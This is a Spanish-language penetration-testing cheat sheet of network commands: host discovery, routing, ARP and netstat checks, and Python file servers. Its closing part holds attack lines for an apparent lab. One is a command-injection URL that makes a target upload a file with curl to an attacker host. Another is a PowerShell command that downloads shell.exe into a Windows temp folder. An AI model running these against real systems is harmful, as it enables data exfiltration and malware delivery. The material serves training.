Linea de comandos de Redes
Network
- Conectividad
- PING
ping -c 1 [DNS]
- FPING: enviara sondas de eco ICMP a multiples hosts.
Prefix: Link de consultafping -I eth0 -g [DNS]/prefix -a 2>/dev/null
fping -I eth0 -g 10.10.10.1/24 -a 2>/dev/null
- ARP-SCAN
arp-scan -I eth0 -g [DNS]
arp-scan -I eth0 -g [DNS]/prefix
- PING
- Routing Tables
- Linux
ip a s
ip route
- Linux
route
- Windows
route print
- OSX
netstat -r
- Configuración de tabla de enrutamiento
ip route add [IP]/[Classless inter-Domain Routing (CIDR)] via [Gateway]
- Configuración de tabla de enrutamiento
ip route add 192.168.224.2/24 via 10.75.32.1
- Linux
- Dirección MAC de la tarjeta de red
- Linux or MAC
ifconfig
- Linux
ip addr
- Windows
ipconfig
- Linux or MAC
- Comprobación de cache ARP en nuestro host
- Linux
ip neighbour
- Windows
arp -a
- *nix operating systems
arp
- Linux
- Netstat
Comprobación de puertos de escucha y conexiones Actuales (TCP) en un host
- Linux
netstat -tunp
- Linux
netstat -p tcp -p udp
- Linux
lsof -n -i4TCP -i4UDP
- Windows
netstat -ano
- Linux
Montar un Server
WebServer
sudo python3 -m http.server 80
sudo python –m SimpleHTTPServer
SimpleHTTPPutServer, se utiliza con curl: cURL es una herramienta de línea de
comandos para obtener o enviar datos utilizando la sintaxis de URL.
#!/usr/bin/python
import SimpleHTTPServer
import BaseHTTPServer
class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_PUT(self):
print self.headers
length = int(self.headers["Content-Length"])
path = self.translate_path(self.path)
with open(path, "wb") as dst:
dst.write(self.rfile.read(length))
if __name__ == '__main__':
SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)
http://<TARGET:PORT>?cmd=curl+<TURN0>+--upload-file+<file>
http://demo.ine.local:8000?cmd=curl+192.77.184.2+--upload-file+flag.zip
PowerShell
Descarga de archivo
Invoke-WebRequest -uri http://<TURN0>:<PORT>/<reverse/file> -outfile C:\\Windows\temp\shell.exe
Invoke-WebRequest -uri http://10.10.10.123:80/shell.exe -outfile C:\\Windows\temp\shell.exe
Linux
Descarga de archivo
wget [TURN0]:[PORT]/file